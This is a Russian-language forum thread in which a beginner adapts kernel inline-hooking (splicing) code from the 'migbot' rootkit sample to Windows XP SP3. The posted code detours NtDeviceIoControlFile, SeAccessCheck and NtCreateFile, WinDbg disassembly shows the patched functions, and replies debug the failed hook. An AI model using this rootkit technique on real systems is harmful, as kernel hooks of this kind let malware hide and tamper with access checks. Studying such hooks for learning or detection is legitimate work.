Здрасте. У меня общий вопрос по хукам. Сразу замечу что темой занялся недавно ну и разумеется полный ламер(и в хуках и в асме к сожалению ), но хочу разобратся. Короче закачал себе мигбота(это собственно пример загрузки драйвера при помощи ZwSetSystemInformation) с руткит.ком, смотрю в сорци и пытаюсь понять чё к чему. Вот например такой фрагмент кода Code: NTSTATUS CheckFunctionBytesNtDeviceIoControlFile(){// тут всё ясно int i=0; char *p = (char *)NtDeviceIoControlFile; //========================================================= // windows 2k //The beginning of the NtDeviceIoControlFile function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01 //FF752C PUSH DWORD PTR [EBP + 2C] //========================================================= // win xp sp 3 // 8bff | mov edi, edi // 55 | push ebp // 8bec | mov ebp, esp // 6a01 | push 1 // char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C }; // win 2k char c[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x6a, 0x01}; // win xp sp3 while(i<7){ DbgPrint("NtDeviceIoControlFile - 0x%02X ", (unsigned char)p[i]); if(p[i] != c[i]){ return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; } __declspec(naked) my_function_detour_ntdeviceiocontrolfile()// тут не ясно { __asm { // exec missing instructions // push ebp // win 2k // mov ebp, esp // push 0x01 // push dword ptr [ebp+0x2C] mov edi, edi // win xp sp3 push ebp mov ebp, esp push 1 // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } VOID DetourFunctionNtDeviceIoControlFile()// тут всё ясно { char *actual_function = (char *)NtDeviceIoControlFile; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0; // assembles to jmp far 0008:11223344 where 11223344 is address of // our detour function, plus one NOP to align up the patch // char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };// win 2k char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00}; // win xp sp3 // reenter the hooked function at a location past the overwritten opcodes // alignment is, of course, very important here // reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; // win 2k reentry_address = ((unsigned long)NtDeviceIoControlFile) + 7; // win xp sp3 non_paged_memory = ExAllocatePool(NonPagedPool, 256); // copy contents of our function into non paged memory // with a cap at 256 bytes (beware of possible read off end of page FIXME) for(i=0;i<256;i++) { ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]; } detour_address = (unsigned long)non_paged_memory; // stamp in the target address of the far jmp *( (unsigned long *)(&newcode[1]) ) = detour_address; // now, stamp in the return jmp into our detour // function for(i=0;i<200;i++) { if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) { // we found the address 0xAAAAAAAA // stamp it w/ the correct address *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } } //TODO, raise IRQL //overwrite the bytes in the kernel function //to apply the detour jmp // for(i=0;i < 8;i++) // win 2k for(i=0;i < 7;i++) // win xp sp3 { actual_function[i] = newcode[i]; } //TODO, drop IRQL } NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ){ if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()){ DbgPrint("Match Failure on NtDeviceIoControlFile!"); return STATUS_UNSUCCESSFUL; } DetourFunctionNtDeviceIoControlFile(); } Ну я так понимаю что смысл в том чтоб NtDeviceIoControlFile вывести из paged pool в nonpaged. Ок, идём дальше. В WinDbg перед исполнением вышепредставленного кода NtDeviceIoControlFile выглядет у меня следующим образом Code: nt!NtDeviceIoControlFile: 8058efad 8bff mov edi,edi 8058efaf 55 push ebp 8058efb0 8bec mov ebp,esp 8058efb2 6a01 push 1 8058efb4 ff752c push dword ptr [ebp+2Ch] 8058efb7 ff7528 push dword ptr [ebp+28h] 8058efba ff7524 push dword ptr [ebp+24h] 8058efbd ff7520 push dword ptr [ebp+20h] 8058efc0 ff751c push dword ptr [ebp+1Ch] 8058efc3 ff7518 push dword ptr [ebp+18h] 8058efc6 ff7514 push dword ptr [ebp+14h] 8058efc9 ff7510 push dword ptr [ebp+10h] 8058efcc ff750c push dword ptr [ebp+0Ch] 8058efcf ff7508 push dword ptr [ebp+8] 8058efd2 e8a8b8feff call nt!NtAddAtom+0x19b (8057a87f) А после исполнения вот так Code: nt!NtDeviceIoControlFile: 8058efad ea3806c4850800 jmp 0008:85C40638 8058efb4 ff752c push dword ptr [ebp+2Ch] 8058efb7 ff7528 push dword ptr [ebp+28h] 8058efba ff7524 push dword ptr [ebp+24h] 8058efbd ff7520 push dword ptr [ebp+20h] 8058efc0 ff751c push dword ptr [ebp+1Ch] 8058efc3 ff7518 push dword ptr [ebp+18h] 8058efc6 ff7514 push dword ptr [ebp+14h] 8058efc9 ff7510 push dword ptr [ebp+10h] 8058efcc ff750c push dword ptr [ebp+0Ch] 8058efcf ff7508 push dword ptr [ebp+8] 8058efd2 e8a8b8feff call nt!NtAddAtom+0x19b (8057a87f) Так вот, мой первый вопрос, что вобщем творится от 8058efad ea3806c4850800 jmp 0008:85C40638 до 8058efd2 e8a8b8feff call nt!NtAddAtom+0x19b (8057a87f) И что делает функция my_function_detour_ntdeviceiocontrol()? А второй вопрос следующий. Мигбот был написан под Win 2k , и исходя из общего концепта, стараюсь немного модифицировать код чтоб работал на Хр ну и на Висте потом. С NtDeviceIoControlFile всё вышло ок, но там собственно не сильно трудится нужно было. Следующая функция – SeAccessCheck. WinDbg view: Code: nt!SeAccessCheck: 80564948 8bff mov edi,edi 8056494a 55 push ebp 8056494b 8bec mov ebp,esp 8056494d 53 push ebx 8056494e 33db xor ebx,ebx 80564950 385d24 cmp byte ptr [ebp+24h],bl 80564953 0f8480300100 je nt!CcSetLogHandleForFile+0x263 (805779d9) 80564959 395d08 cmp dword ptr [ebp+8],ebx 8056495c 0f84a4cb0900 je nt!IoCheckFunctionAccess+0x2099f (80601506) 80564962 56 push esi 80564963 8b750c mov esi,dword ptr [ebp+0Ch] 80564966 391e cmp dword ptr [esi],ebx 80564968 0f85b72d0100 jne nt!RtlDeleteAtomFromAtomTable+0x3fc (80577725) 8056496e 57 push edi ..... И модифицированный мною код: Code: NTSTATUS CheckFunctionBytesSeAccessCheck(){ int i=0; char *p = (char *)SeAccessCheck; //===================================================== // win 2k //The beginning of the SeAccessCheck function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //53 PUSH EBX //33DB XOR EBX, EBX //385D24 CMP [EBP+24], BL //==================================================== // win xp sp 3 // 8bff | mov edi, edi // 55 | push ebp // 8bec | mov ebp, esp // 53 | push ebx // 33db | xor ebx, ebx // 385d24 | cmp byte ptr [ebp+24h], bl // char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 }; // win 2k char c[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x53, 0x33, 0xdb, 0x38, 0x5d, 0x24}; // win xp sp 3 // while(i<9) while (i<11) { DbgPrint("SeAccessCheck - 0x%02X ", (unsigned char)p[i]); if(p[i] != c[i]) { return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; } __declspec(naked) my_function_detour_seaccesscheck() { __asm { // exec missing instructions // push ebp // win 2k // mov ebp, esp // push ebx // xor ebx, ebx // cmp [ebp+24], bl mov edi, edi // win xp sp3 push ebp mov ebp, esp push ebx xor ebx, ebx cmp byte ptr [ebp+24h], bl _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } VOID DetourFunctionSeAccessCheck() { char *actual_function = (char *)SeAccessCheck; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0; // char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };// win 2k char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 }; // win xp sp3 // reentry_address = ((unsigned long)SeAccessCheck) + 9; // win 2k reentry_address = ((unsigned long)SeAccessCheck) + 11; // win xp sp3 non_paged_memory = ExAllocatePool(NonPagedPool, 256); for(i=0;i<256;i++) { ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i]; } detour_address = (unsigned long)non_paged_memory; *( (unsigned long *)(&newcode[1]) ) = detour_address; for(i=0;i<200;i++) { if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) { *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } } for(i=0;i < 11;i++) // win xp sp3 { actual_function[i] = newcode[i]; } } Вродебы всё как в оригинале но к сожалению не пашет. После исполнения кода, SeAccessCheck в ВинДбг выглядит так: Code: nt!SeAccessCheck: 80564948 ea3814e1850800 jmp 0008:85E11438 8056494f 8b9851730f84 mov ebx,dword ptr [eax-7BF08CAFh] 80564955 803001 xor byte ptr [eax],1 80564958 0039 add byte ptr [ecx],bh 8056495a 5d pop ebp 8056495b 080f or byte ptr [edi],cl 8056495d 84a4cb0900568b test byte ptr [ebx+ecx*8-74A9FFF7h],ah 80564964 750c jne nt!SeAccessCheck+0x2a (80564972) ... А в детекторе руткитов картина следующая: // Для NtDeviceIoControlFile hooked address: 0x8058efad relative to export: NtDeviceIoControlFile redirect to: - in exection path: NtDeviceIoControlFile // для SeAccessCheck hooked address: 0x80554948 relative to export: SeAccessCheck redirect to: - in exection path: NtAssignProcessToJobObject А сам вызов функции – сразу BSOD. т.е что-то я напартачил сильно и сам не знаю что. И вот хочу спросить что делаю не то и вообще правильным ли путём иду? Заранее спасибо
PHP: char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 }; // win xp sp3 ..... reentry_address = ((unsigned long)SeAccessCheck) + 11; // win xp sp3 ..... ..... for(i=0;i < 11;i++) // win xp sp3 { actual_function[i] = newcode[i]; } не вникала толком в код (2 часа ночи), но почему 11 циклов? и где в newcode эти элементы?
Да, благодарю. nop'ы забыл, а должно выглядеть так Code: char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 , 0x90, 0x90, 0x90, 0x90}; Но проблема дальше остаётся. Удачный hook получается только с функциями, которые в windbg выглядят примерно так (как NtCreateFile) Code: nt!NtCreateFile: 8056cdc0 8bff mov edi,edi 8056cdc2 55 push ebp 8056cdc3 8bec mov ebp,esp 8056cdc5 33c0 xor eax,eax 8056cdc7 50 push eax 8056cdc8 50 push eax 8056cdc9 50 push eax 8056cdca ff7530 push dword ptr [ebp+30h] 8056cdcd ff752c push dword ptr [ebp+2Ch] 8056cdd0 ff7528 push dword ptr [ebp+28h] 8056cdd3 ff7524 push dword ptr [ebp+24h] 8056cdd6 ff7520 push dword ptr [ebp+20h] 8056cdd9 ff751c push dword ptr [ebp+1Ch] 8056cddc ff7518 push dword ptr [ebp+18h] 8056cddf ff7514 push dword ptr [ebp+14h] 8056cde2 ff7510 push dword ptr [ebp+10h] 8056cde5 ff750c push dword ptr [ebp+0Ch] 8056cde8 ff7508 push dword ptr [ebp+8] 8056cdeb e87bfeffff call nt!IoCreateFile (8056cc6b) //8056cdc0 8bff mov edi,edi //8056cdc2 55 push ebp //8056cdc3 8bec mov ebp,esp //8056cdc5 33c0 xor eax,eax //8056cdc7 50 push eax //8056cdc8 50 push eax //8056cdc9 50 push eax Code: NTSTATUS CheckFunctionBytesNtCreateFile(){ int i=0; char *p = (char *)NtCreateFile; char c[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x33, 0xc0, 0x50, 0x50, 0x50}; // win xp sp3 while(i<10){DbgPrint("NtCreateFile - 0x%02X ", (unsigned char)p[i]);if(p[i] != c[i]){return STATUS_UNSUCCESSFUL; }i++;} return STATUS_SUCCESS; } __declspec(naked) my_function_detour_NtCreateFile(){ __asm{ mov edi,edi push ebp mov ebp,esp xor eax,eax push eax push eax push eax _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } VOID DetourFunctionNtCreateFile(){ char *actual_function = (char *)NtCreateFile; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0; char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90, 0x90}; // win xp sp3 reentry_address = ((unsigned long)NtCreateFile) + 10; // win xp sp3 non_paged_memory = ExAllocatePool(NonPagedPool, 256); for(i=0;i<256;i++){ ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_NtCreateFile)[i]; } detour_address = (unsigned long)non_paged_memory; *( (unsigned long *)(&newcode[1]) ) = detour_address; for(i=0;i<200;i++){ if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])){ *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } } for(i=0;i < 10 ;i++){ actual_function[i] = newcode[i]; } } После чего имеем Code: nt!NtCreateFile: 8056cdc0 ea005fe1850800 jmp 0008:85E15F00 8056cdc7 90 nop 8056cdc8 90 nop 8056cdc9 90 nop 8056cdca ff7530 push dword ptr [ebp+30h] 8056cdcd ff752c push dword ptr [ebp+2Ch] 8056cdd0 ff7528 push dword ptr [ebp+28h] 8056cdd3 ff7524 push dword ptr [ebp+24h] 8056cdd6 ff7520 push dword ptr [ebp+20h] 8056cdd9 ff751c push dword ptr [ebp+1Ch] 8056cddc ff7518 push dword ptr [ebp+18h] 8056cddf ff7514 push dword ptr [ebp+14h] 8056cde2 ff7510 push dword ptr [ebp+10h] 8056cde5 ff750c push dword ptr [ebp+0Ch] 8056cde8 ff7508 push dword ptr [ebp+8] 8056cdeb e87bfeffff call nt!IoCreateFile (8056cc6b) И всё работает ОК. А вот например с этим SeAccessCheck ну просто ни как
Довольно простой код реализующеий перехват через сплайсинг. Принцип работы этого чуда таков: 1) проверяется ровное кол-во команда по адресу функции которую ты собираешься перехватывать. Чтобы точно знать что там не стоит чьихто уже хуков ну и проверка на версию ядра такаяже. Это всё делает CheckFunctionBytesNtDeviceIoControlFile 2) DetourFunctionNtDeviceIoControlFile как раз делает подменяет первое целое кол-во команд на адерс перехода на твою функцию. ТАм reentry_address будет содержать адрес кода который идет после этих команд Тебе достаточно только 7 байт подменить (чтобы засунуть свой jmp) Вот к примеру есть у тебя Code: nt!NtDeviceIoControlFile: 8058efad 8bff mov edi,edi 8058efaf 55 push ebp 8058efb0 8bec mov ebp,esp 8058efb2 6a01 push 1 8058efb4 ff752c push dword ptr [ebp+2Ch] <-------reentry_address будет ссылатьс яна этоместо 8058efb7 ff7528 push dword ptr [ebp+28h] То заменим 7 байт на JMP на твою функцию 8058efad ea3806c4850800 jmp 0008:85C40638 8058efb4 ff752c push dword ptr [ebp+2Ch] 8058efb7 ff7528 push dword ptr [ebp+28h] И теперь при выполненнии данной функции управление перейдет по твоему адресу. Затем ты чтото делает в своём обработчики. Далее тебе нужно выполнить команды которые ты затер. Вот там как раз и видно где они выполняются. А далее идет переход на reentry_address. Причем оформлено это в виде Code: _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 3) non_paged_memory = ExAllocatePool(NonPagedPool, 256); ты юзаешь чтобы выделить память гденить в ядре, скопировать туда свой код обработчика. т.к. память доступка для записи, то тымета в обработчике где стояли _emit забиваешь адресов содержащимся в reentry_address и в этоге конец обработчика выглядит как JMP XXXX:XXXXXXXX Выделяется память только для того чтобы хук работал после выгрузки драйвера, ну и также чтобы была возможность записать вконце JMP на оригенальное продолжение функии которую ты перехватываешь
my_function_detour_NtCreateFile - это какраз код который будет выполняться при вызове функции которую ты перехватываеш. А на счет ошибки то обрати внимание: Code: ДО nt!SeAccessCheck: 80564948 8bff mov edi,edi 8056494a 55 push ebp 8056494b 8bec mov ebp,esp 8056494d 53 push ebx 8056494e 33db xor ebx,ebx 80564950 385d24 cmp byte ptr [ebp+24h],bl 80564953 0f8480300100 je nt!CcSetLogHandleForFile+0x263 (805779d9) <---0f8480300100 80564959 395d08 cmp dword ptr [ebp+8],ebx ПОСЛЕ nt!SeAccessCheck: 80564948 ea3814e1850800 jmp 0008:85E11438 8056494f 8b9851730f84 mov ebx,dword ptr [eax-7BF08CAFh] <- 0f848 80564955 803001 xor byte ptr [eax],1 <- 0300100 80564958 0039 add byte ptr [ecx],bh 8056495a 5d pop ebp 8056495b 080f or byte ptr [edi],cl 8056495d 84a4cb0900568b test byte ptr [ebx+ecx*8-74A9FFF7h],ah 80564964 750c jne nt!SeAccessCheck+0x2a (80564972) ... Из этого следует что после 7 байт JMP ты записал 4 байта мусора - 8b985173 А нужно было туда нопы кидыть